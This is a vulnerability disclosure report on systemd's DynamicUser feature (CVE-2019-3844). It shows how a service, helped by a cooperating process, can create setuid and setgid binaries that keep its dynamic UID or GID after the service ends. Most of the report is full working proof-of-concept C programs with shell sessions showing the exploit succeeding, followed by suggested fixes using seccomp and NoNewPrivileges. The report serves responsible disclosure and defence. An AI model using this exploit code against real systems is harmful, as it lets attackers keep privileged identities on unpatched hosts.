systemd: DynamicUser can create setuid binaries when assisted by another process Related CVE Numbers: CVE-2019-3844. [I am sending this bug report to Ubuntu as requested by systemd at <https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports>.] This bug report describes a bug in systemd that allows a service with DynamicUser in collaboration with another service or user to create a setuid binary that can be used to access its UID beyond the lifetime of the service. This bug probably has relatively low severity, given that there aren't many services yet that use DynamicUser, and the requirement of collaboration with another process limits the circumstances in which it would be useful to an attacker further; but in a system that makes heavy use of DynamicUser, it would probably have impact. <https://www.freedesktop.org/software/systemd/man/systemd.exec.html#DynamicUser=> says: In order to allow the service to write to certain directories, they have to be whitelisted using ReadWritePaths=, but care must be taken so that UID/GID recycling doesn't create security issues involving files created by the service. While I was chatting about DynamicUser with catern on IRC, I noticed that DynamicUser doesn't isolate the service from the rest of the system in terms of UNIX domain sockets; therefore, if a collaborating user passes a file descriptor to a world-writable path outside the service's mount namespace into the service, the service can then create setuid files that can be used by the collaborating user beyond the lifetime of the service. To reproduce: As a user: ====================================================================== user@deb10:~$ mkdir systemd_uidleak user@deb10:~$ cd systemd_uidleak user@deb10:~/systemd_uidleak$ cat > breakout_assisted.c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/types.h> #include <sys/stat.h> #include <err.h> int main(void) { setbuf(stdout, NULL); // prepare unix domain socket int s = socket(AF_UNIX, SOCK_DGRAM, 0); if (s < 0) err(1, \"unable to create unix domain socket\"); struct sockaddr_un addr = { .sun_family = AF_UNIX, .sun_path = \"\\0breakout\" }; if (bind(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8)) err(1, \"unable to bind abstract socket\"); puts(\"waiting for connection from outside the service...\"); // receive fd to somewhere under the real root int len = sizeof(struct cmsghdr) + sizeof(int); struct cmsghdr *hdr = alloca(len); struct msghdr msg = { .msg_control = hdr, .msg_controllen = len }; if (recvmsg(s, &msg, 0) < 0) err(1, \"unable to receive fd\"); if (hdr->cmsg_len != len || hdr->cmsg_level != SOL_SOCKET || hdr->cmsg_type != SCM_RIGHTS) errx(1, \"got bad message\"); puts(\"got rootfd from other chroot...\"); if (fchdir(*(int*)CMSG_DATA(hdr))) err(1, \"unable to change into real root\"); char curpath[4096]; if (!getcwd(curpath, sizeof(curpath))) err(1, \"unable to getpath()\"); printf(\"chdir successful, am now in %s\ \", curpath); // create suid file int src_fd = open(\"suid_src\", O_RDONLY); if (src_fd == -1) err(1, \"open suid_src\"); int dst_fd = open(\"suid_dst\", O_RDWR|O_CREAT|O_EXCL, 0644); if (dst_fd == -1) err(1, \"open suid_dst\"); while (1) { char buf[1000]; ssize_t res = read(src_fd, buf, sizeof(buf)); if (res == -1) err(1, \"read\"); if (res == 0) break; ssize_t res2 = write(dst_fd, buf, res); if (res2 != res) err(1, \"write\"); } if (fchmod(dst_fd, 04755)) err(1, \"fchmod\"); close(src_fd); close(dst_fd); // and that's it! puts(\"done!\"); while (1) pause(); return 0; } user@deb10:~/systemd_uidleak$ gcc -o breakout_assisted breakout_assisted.c user@deb10:~/systemd_uidleak$ cat > breakout_helper.c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/types.h> #include <sys/stat.h> #include <err.h> int main(void) { int rootfd = open(\".\", O_PATH); if (rootfd < 0) err(1, \"unable to open cwdfd\"); int s = socket(AF_UNIX, SOCK_DGRAM, 0); if (s < 0) err(1, \"unable to create unix domain socket\"); struct sockaddr_un addr = { .sun_family = AF_UNIX, .sun_path = \"\\0breakout\" }; if (connect(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8)) err(1, \"unable to connect to abstract socket\"); puts(\"connected to other chroot, sending cwdfd...\"); int len = sizeof(struct cmsghdr) + sizeof(int); struct cmsghdr *hdr = alloca(len); *hdr = (struct cmsghdr) { .cmsg_len = len, .cmsg_level = SOL_SOCKET, .cmsg_type = SCM_RIGHTS }; *(int*)CMSG_DATA(hdr) = rootfd; struct msghdr msg = { .msg_control = hdr, .msg_controllen = len }; if (sendmsg(s, &msg, 0) < 0) err(1, \"unable to send fd\"); puts(\"all ok on this side!\"); return 0; } user@deb10:~/systemd_uidleak$ gcc -o breakout_helper breakout_helper.c user@deb10:~/systemd_uidleak$ cp /usr/bin/id suid_src user@deb10:~/systemd_uidleak$ chmod 0777 . user@deb10:~/systemd_uidleak$ ls -la . total 100 drwxrwxrwx 2 user user 4096 Feb 4 21:22 . drwxr-xr-x 23 user user 4096 Feb 4 21:19 .. -rwxr-xr-x 1 user user 17432 Feb 4 21:20 breakout_assisted -rw-r--r-- 1 user user 1932 Feb 4 21:20 breakout_assisted.c -rwxr-xr-x 1 user user 16872 Feb 4 21:22 breakout_helper -rw-r--r-- 1 user user 1074 Feb 4 21:22 breakout_helper.c -rwxr-xr-x 1 user user 43808 Feb 4 21:22 suid_src user@deb10:~/systemd_uidleak$ ====================================================================== Then, as root, create and launch a service around breakout_assisted: ====================================================================== root@deb10:/home/user# cat > /etc/systemd/system/dynamic-user-test.service [Service] ExecStart=/home/user/systemd_uidleak/breakout_assisted DynamicUser=yes root@deb10:/home/user# systemctl daemon-reload root@deb10:/home/user# systemctl start dynamic-user-test.service root@deb10:/home/user# systemctl status dynamic-user-test.service [...] Feb 04 21:27:29 deb10 systemd[1]: Started dynamic-user-test.service. Feb 04 21:27:29 deb10 breakout_assisted[3155]: waiting for connection from outside the service... root@deb10:/home/user# ====================================================================== Now again as a user, run the breakout_helper: ====================================================================== user@deb10:~/systemd_uidleak$ ./breakout_helper connected to other chroot, sending cwdfd... all ok on this side! user@deb10:~/systemd_uidleak$ ls -la total 144 drwxrwxrwx 2 user user 4096 Feb 4 21:28 . drwxr-xr-x 23 user user 4096 Feb 4 21:19 .. -rwxr-xr-x 1 user user 17432 Feb 4 21:20 breakout_assisted -rw-r--r-- 1 user user 1932 Feb 4 21:20 breakout_assisted.c -rwxr-xr-x 1 user user 16872 Feb 4 21:22 breakout_helper -rw-r--r-- 1 user user 1074 Feb 4 21:22 breakout_helper.c -rwsr-xr-x 1 64642 64642 43808 Feb 4 21:28 suid_dst -rwxr-xr-x 1 user user 43808 Feb 4 21:22 suid_src user@deb10:~/systemd_uidleak$ ./suid_dst uid=1000(user) gid=1000(user) euid=64642 groups=1000(user),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),113(scanner) user@deb10:~/systemd_uidleak$ ====================================================================== On fixing this: catern suggested that it might be more robust to use seccomp() to block chmod()/fchmod() calls with modes that include setuid/setgid bits, like the Nix build process. See <https://nixos.org/releases/nix/nix-2.1.3/manual/#ssec-relnotes-1.11.10>: > To prevent this issue, Nix now disallows builders to create setuid and setgid > binaries. On Linux, this is done using a seccomp BPF filter. This seems like the least intrusive fix to me. As far as I can tell, it should be sufficient to prevent the creation of setuid binaries that are reachable beyond the death of the service. Unfortunately, for setgid files, the following trick also needs to be mitigated, assuming that the distribution hasn't blocked the unprivileged creation of user namespaces: ====================================================================== user@deb10:~/systemd_uidleak_gid$ cat map_setter.c #include <unistd.h> #include <fcntl.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> static void write_file(char *type, int pid, char *buf) { char file_path[100]; sprintf(file_path, \"/proc/%d/%s\", pid, type); int fd = open(file_path, O_WRONLY); if (fd == -1) err(1, \"open %s\", file_path); if (write(fd, buf, strlen(buf)) != strlen(buf)) err(1, \"write %s\", type); close(fd); } static void write_map(char *type, int pid, int upper, int lower) { char buf[100]; sprintf(buf, \"%d %d 1\", upper, lower); write_file(type, pid, buf); } int main(void) { FILE *pid_file = fopen(\"/home/user/systemd_uidleak_gid/pid_file\", \"r\"); if (pid_file == NULL) err(1, \"open pid_file\"); int pid; if (fscanf(pid_file, \"%d\", &pid) != 1) err(1, \"fscanf\"); write_file(\"setgroups\", pid, \"deny\"); write_map(\"gid_map\", pid, 0, getgid()); write_map(\"uid_map\", pid, 0, geteuid()); puts(\"done\"); while (1) pause(); return 0; } user@deb10:~/systemd_uidleak_gid$ cat sgid_maker.c #define _GNU_SOURCE #include <sched.h> #include <err.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #include <stdio.h> #include <sys/stat.h> int main(void) { if (unshare(CLONE_NEWUSER)) err(1, \"unshare CLONE_NEWUSER\"); pid_t my_pid = getpid(); char my_pid_str[20]; sprintf(my_pid_str, \"%d\ \", (int)my_pid); int pid_file = open(\"pid_file\", O_WRONLY|O_CREAT|O_TRUNC, 0644); if (pid_file == -1) err(1, \"create pid_file\"); if (write(pid_file, my_pid_str, strlen(my_pid_str)) != strlen(my_pid_str)) err(1, \"write pid_file\"); close(pid_file); puts(\"pid file written, waiting for mappings...\"); while (1) { if (getuid() == 0) break; sleep(1); } puts(\"mappings are up!\"); if (setgid(0)) err(1, \"setgid\"); // create sgid file int src_fd = open(\"sgid_src\", O_RDONLY); if (src_fd == -1) err(1, \"open sgid_src\"); int dst_fd = open(\"sgid_dst\", O_RDWR|O_CREAT|O_EXCL, 0644); if (dst_fd == -1) err(1, \"open sgid_dst\"); while (1) { char buf[1000]; ssize_t res = read(src_fd, buf, sizeof(buf)); if (res == -1) err(1, \"read\"); if (res == 0) break; ssize_t res2 = write(dst_fd, buf, res); if (res2 != res) err(1, \"write\"); } if (fchmod(dst_fd, 02755)) err(1, \"fchmod\"); close(src_fd); close(dst_fd); } user@deb10:~/systemd_uidleak_gid$ cp /usr/bin/id sgid_src user@deb10:~/systemd_uidleak_gid$ gcc -o map_setter map_setter.c && gcc -o sgid_maker sgid_maker.c && chmod u+s map_setter && ./sgid_maker pid file written, waiting for mappings... [##### at this point, launch ~/systemd_uidleak_gid/map_setter in a systemd service #####] mappings are up! user@deb10:~/systemd_uidleak_gid$ ls -l sgid_dst -rwxr-sr-x 1 user 64642 43808 Feb 4 23:13 sgid_dst user@deb10:~/systemd_uidleak_gid$ ./sgid_dst uid=1000(user) gid=1000(user) egid=64642 groups=64642,24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),113(scanner),1000(user) user@deb10:~/systemd_uidleak_gid$ ====================================================================== I think the least intrusive way to mitigate this part might be to enforce NoNewPrivileges=yes for services with dynamic IDs - that way, someone inside such a service can't become capable over anything outside, and someone outside the service can't become capable over anything inside the service. (And really, in general, it would be nice if NoNewPrivileges=yes could become the norm at some point.) This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: jannh@google.com